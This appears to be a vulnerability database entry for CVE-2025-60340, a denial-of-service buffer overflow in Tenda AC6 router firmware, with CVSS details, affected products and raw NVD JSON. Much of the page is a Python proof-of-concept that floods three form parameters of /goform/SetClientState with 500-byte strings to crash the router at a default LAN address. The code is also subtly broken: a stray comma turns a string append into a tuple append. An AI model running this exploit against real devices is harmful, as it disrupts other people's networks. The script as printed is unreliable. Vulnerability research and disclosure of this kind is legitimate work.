Security Vulnerability Report
中文
CVE-2025-60340 CVSS 7.5 HIGH

CVE-2025-60340

Published: 2025-10-22 18:15:35
Last Modified: 2025-10-28 16:15:39

Description

Multiple buffer overflows in the SetClientState function of Tenda AC6 v.15.03.06.50 allows attackers to cause a Denial of Service (DoS) via injecting a crafted payload into the limitSpeed, deviceId, and limitSpeedUp parameters.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:tenda:ac6_firmware:15.03.06.50:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tenda:ac6:2.0:*:*:*:*:*:*:* - NOT VULNERABLE
Tenda AC6 V15.03.06.50

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import time # CVE-2025-60340 PoC - Buffer Overflow in Tenda AC6 SetClientState # Target: Tenda AC6 v.15.03.06.50 # Attack Vector: limitSpeed, deviceId, limitSpeedUp parameters def send_exploit(target_ip, target_port=80): """ Send crafted payload to trigger buffer overflow in SetClientState function """ # Generate overflow payload - 500 bytes for each parameter overflow_length = 500 overflow_payload = b'A' * overflow_length # Construct HTTP POST request with malicious parameters http_payload = f"POST /goform/SetClientState HTTP/1.1\r\n" http_payload += f"Host: {target_ip}\r\n" http_payload += f"Content-Type: application/x-www-form-urlencoded\r\n" http_payload += f"Content-Length: ", # Parameters that trigger the vulnerability post_data = f"limitSpeed={overflow_payload.decode('utf-8', errors='ignore')}&" post_data += f"deviceId={overflow_payload.decode('utf-8', errors='ignore')}&" post_data += f"limitSpeedUp={overflow_payload.decode('utf-8', errors='ignore')}" http_payload += f"{len(post_data)}\r\n\r\n" http_payload += post_data try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(http_payload.encode()) response = sock.recv(1024) sock.close() print(f"[+] Payload sent to {target_ip}:{target_port}") print(f"[+] Overflow payload length: {overflow_length} bytes per parameter") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": target = "192.168.0.1" # Default Tenda router IP print("[*] CVE-2025-60340 PoC - Tenda AC6 Buffer Overflow") print("[*] Target: SetClientState function") send_exploit(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60340", "sourceIdentifier": "[email protected]", "published": "2025-10-22T18:15:35.000", "lastModified": "2025-10-28T16:15:38.817", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Multiple buffer overflows in the SetClientState function of Tenda AC6 v.15.03.06.50 allows attackers to cause a Denial of Service (DoS) via injecting a crafted payload into the limitSpeed, deviceId, and limitSpeedUp parameters."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-120"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ac6_firmware:15.03.06.50:*:*:*:*:*:*:*", "matchCriteriaId": "ED890D2E-3860-4E6E-A1D4-FC0031430884"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ac6:2.0:*:*:*:*:*:*:*", "matchCriteriaId": "E382AD7E-1450-40FC-AE9D-698B491805F0"}]}]}], "references": [{"url": "https://github.com/z472421519/BinaryAudit/blob/main/PoC/BOF/Tenda/SetClientState/SetClientState.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}